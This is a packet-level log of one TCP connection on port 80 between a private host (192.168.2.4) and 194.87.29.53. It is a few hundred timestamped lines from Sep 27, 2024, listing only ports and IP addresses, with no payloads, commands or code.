Sep 27, 2024 18:29:07.863579988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.863593102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.863603115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.863624096 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.863636017 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.863646030 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.863662004 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.863698006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.863831043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.863842964 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.863852978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.863873959 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.863899946 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.863938093 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.863950014 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.863960028 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.863970041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.863981962 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.864006042 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.864115953 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864126921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864136934 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864145994 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864156961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864157915 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.864168882 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864183903 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.864212990 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.864279032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864295006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864305973 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864315987 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864319086 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.864343882 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.864367962 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.864402056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864414930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864424944 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864434958 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864447117 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.864459038 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.864483118 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.864556074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864567041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864583015 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864593983 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864600897 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.864604950 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864614964 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.864624023 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864628077 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.864638090 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864648104 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864655018 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.864670038 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864677906 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.864703894 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.864845991 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864865065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864892960 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.864919901 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.864953995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864967108 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864978075 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864989996 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.864998102 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.865000010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.865014076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.865014076 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.865022898 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.865025997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.865056992 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.865067005 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.865211964 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.865261078 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.865266085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.865278959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.865303993 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.865315914 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.865345001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.865356922 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.865366936 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.865376949 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.865386963 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.865395069 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.865405083 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.865442038 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.866883993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.866894960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.866905928 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.866934061 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.866956949 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.867039919 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.867050886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.867060900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.867070913 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.867080927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.867088079 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.867099047 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.867126942 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.868189096 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.868210077 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.868220091 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.868237019 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.868251085 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.868319035 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.868330956 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.868340969 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.868350983 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.868366003 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.868380070 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.868434906 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.868475914 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.868478060 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.868520975 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.868535995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.868547916 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.868577957 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.868597031 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.868608952 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.868624926 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.868634939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.868647099 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.868650913 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.868674040 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.868695974 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.868846893 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.868856907 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.868872881 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.868884087 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.868891001 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.868895054 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.868906021 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.868917942 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.868935108 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.868956089 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.868964911 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.868976116 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.869003057 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.869024992 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.869066954 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.869659901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.869678974 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.869688988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.869704962 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.869724035 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.869741917 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.869754076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.869786978 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.869786978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.869798899 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.869810104 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.869826078 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.869852066 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.869874001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.869883060 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.869914055 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.869932890 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.869971037 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.869982004 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.869991064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.870003939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.870013952 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.870014906 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.870026112 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.870028019 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.870058060 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.870070934 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.870124102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.870167017 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.870529890 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.870574951 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.870579958 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.870590925 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.870620012 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.870629072 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.870644093 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.870657921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.870675087 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.870683908 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.870686054 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.870696068 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.870701075 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.870713949 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.870735884 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.872777939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.872827053 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.872836113 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.872837067 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.872879028 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.873028040 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.873039007 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.873049974 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.873059988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.873070955 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.873074055 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.873104095 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.873119116 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.874350071 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.874399900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.874413013 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.874432087 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.874453068 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.874460936 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.874471903 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.874483109 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.874504089 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.874521017 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.874531984 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.874531984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.874568939 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.950469971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.950508118 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.950519085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.950522900 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.950546980 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.950573921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.950584888 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.950596094 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.950608015 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.950628042 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.950640917 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.950717926 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.950730085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.950740099 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.950754881 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.950764894 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.950766087 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.950778008 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.950782061 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.950789928 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.950804949 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.950839996 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.950964928 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.950974941 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951014996 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951016903 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.951024055 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.951026917 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951037884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951049089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951054096 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.951061010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951071024 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.951085091 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.951107979 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.951201916 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951211929 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951246977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951255083 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.951256990 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951286077 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.951307058 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.951400995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951412916 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951423883 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951435089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951443911 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.951446056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951464891 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.951478004 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.951504946 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.951524973 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951565981 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.951610088 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951621056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951630116 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951641083 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951649904 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951652050 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.951662064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951668024 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.951682091 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.951697111 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.951787949 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951798916 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951808929 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951819897 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951828957 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951828957 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.951858044 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.951879978 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.951947927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951960087 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951971054 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951978922 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.951992035 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.952006102 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.952019930 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.952163935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.952213049 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.952229977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.952241898 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.952270985 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.952284098 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.952374935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.952385902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.952397108 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.952406883 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.952416897 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.952430964 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.952452898 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.953695059 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.953742981 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.953747034 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.953759909 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.953805923 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.953836918 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.953847885 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.953886986 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.953902960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.953915119 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.953941107 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.953958988 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.955018997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955060959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955070972 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955075979 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.955101013 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.955117941 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.955182076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955193043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955204010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955214024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955224037 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955235004 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.955250978 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.955281973 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.955312014 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955322027 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955353975 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.955360889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955363989 CEST	60865	80	192.168.2.4	194.87.29.53
